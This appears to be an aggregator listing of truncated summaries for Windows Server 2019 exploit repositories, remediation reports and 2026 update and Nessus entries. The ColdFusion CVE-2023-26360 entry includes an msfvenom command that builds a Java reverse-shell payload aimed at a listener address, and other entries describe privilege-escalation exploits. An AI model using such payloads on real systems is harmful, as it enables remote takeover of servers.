cve-2013-3900-remediation-report

Отчет об устранении: CVE-2013-3900 – Уязвимость WinVerifyTrust на Windows Server 2019 Azure VM Обзор В ходе недавней аутентифицированной оценки уязвимостей, проведенной с помощью Tenable Nessus, CVE-2013-3900 была обнаружена на виртуальной машине Windows Server 2019 , размещенной в Microsoft Azur...

CVE-2019-1253

CVE-2019-1253 Оригинальный PoC отправлен в MSRC. Эта проблема была исправлена в обычном обновлении «вторника» сентября 2019 года. Присвоен CVE-2019-1253 — уязвимость повышения привилегий в Windows. https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1253 Есть два PoC: тот,...

CVE-2020-1472-LAB

Скрипт тестирования ZeroLogon Лабораторная настройка для тестирования уязвимости эксплойта ZeroLogon CVE-2020-1472. Включает Python-скрипт, использующий библиотеку Impacket для проверки уязвимости, и виртуальную машину VM с Windows Server 2019, настроенную как контроллер домена DC. Скрипт пытаетс...

Remediating-CVE-2013-3900-EnableCertPaddingCheck-

Отчёт об устранении: CVE-2013-3900 на Windows Server 2019 Azure VM Устранение CVE-2013-3900 EnableCertPaddingCheck В ходе аутентифицированного сканирования уязвимостей с использованием Tenable/Nessus я обнаружил CVE-2013-3900 на экземпляре Windows Server 2019 Datacenter, размещённом в Microsoft...

CVE-2021-1675-LPE

Локальное повышение привилегий для CVE-2021-1675/CVE-2021-34527 Реализация локального повышения привилегий для CVE-2021-1675/CVE-2021-34527 также известного как PrintNightmare. Эксплойт отредактирован на основе опубликованного Чжиняном Пэном @edwardzpeng и Сюэфэном Ли @lxf02942370. Откройте проек...

CVE-2022-26923

CVE-2022-26923 Описание Эта уязвимость позволяла пользователю с низкими привилегиями повысить их до администратора домена в среде Active Directory по умолчанию с установленной ролью сервера Active Directory Certificate Services AD CS. Она в основном связана с ролью Active Directory Certificate...

CVE-2022-30136

CVE-2022-30136 Эксплуатация удаленной уязвимости Windows Network File System DoS PoC PoC: https://github.com/fortra/CVE-2022-30136 Подробности: https://www.coresecurity.com/core-l...136-windows-network-file-system-vulnerability Затронутые продукты: Windows servers 2016, 2019...

CVE-2023-26360-RCE

CVE-2023-26360 - Удаленное выполнение кода на ColdFusion 2021 Иногда скрипты не срабатывают с первой попытки. Попробуйте несколько раз, чтобы всё заработало. Как выполнить Создайте полезную нагрузку с помощью msfvenom msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java Запуск...

2026-09 Cumulative Update for .NET Framework 3.5, 4.7.2 and 4.8 for Windows Server 2019 for x64 (KB5126144)

2026-09 Cumulative Update for .NET Framework 3.5, 4.7.2 and 4.8 for Windows Server 2019 for x64 KB5126144...

2026-09 Cumulative Update for Windows Server 2019 for x64-based Systems (KB5122876)

2026-09 Cumulative Update for Windows Server 2019 for x64-based Systems KB5122876...

2026-08 Cumulative Update for .NET Framework 3.5, 4.7.2 and 4.8 for Windows Server 2019 for x64 (KB5121645)

A security issue has been identified in a Microsoft software product that could affect your system. You can help protect your system by installing this update from Microsoft. For a complete listing of the issues that are included in this update, see the associated Microsoft Knowledge Base article...

2026-08 Cumulative Update for Windows Server 2019 for x64-based Systems (KB5120238)

A security issue has been identified in a Microsoft software product that could affect your system. You can help protect your system by installing this update from Microsoft. For a complete listing of the issues that are included in this update, see the associated Microsoft Knowledge Base article...

August 11, 2026-KB5120698 Cumulative Update for .NET Framework 3.5 and 4.7.2 for Windows 10, version 1809 and Windows Server 2019

None None...

August 11, 2026-KB5120703 Cumulative Update for .NET Framework 3.5 and 4.8 for Windows 10, version 1809 and Windows Server 2019

None None...

KB5120238: Windows 10 version 1809 / Windows Server 2019 Security Update (August 2026)

The remote Windows host is missing security update 5120238. It is, therefore, affected by multiple vulnerabilities - Stack-based buffer overflow in Windows DNS allows an unauthorized attacker to execute code over a network. CVE-2026-62878 - Use after free in Windows Deployment Services allows an...

August 11, 2026-KB5121645 Cumulative Update for .NET Framework 3.5, 4.7.2 and 4.8 for Windows 10, version 1809 and Windows Server 2019

None None...

2026-07 Cumulative Update for .NET Framework 3.5, 4.7.2 and 4.8 for Windows Server 2019 for x64 (KB5102201)

2026-07 Cumulative Update for .NET Framework 3.5, 4.7.2 and 4.8 for Windows Server 2019 for x64 KB5102201...

2026-07 Cumulative Update for Windows Server 2019 for x64-based Systems (KB5099538)

2026-07 Cumulative Update for Windows Server 2019 for x64-based Systems KB5099538...

July 14, 2026-KB5100989 Cumulative Update for .NET Framework 3.5 and 4.7.2 for Windows 10, version 1809 and Windows Server 2019

None None...

KB5099538: Windows 10 version 1809 / Windows Server 2019 Security Update (July 2026)

The remote Windows host is missing security update 5099538. It is, therefore, affected by multiple vulnerabilities - Integer overflow or wraparound in Windows RDP allows an unauthorized attacker to execute code over a network. CVE-2026-58594 - Heap-based buffer overflow in Windows FTP Service...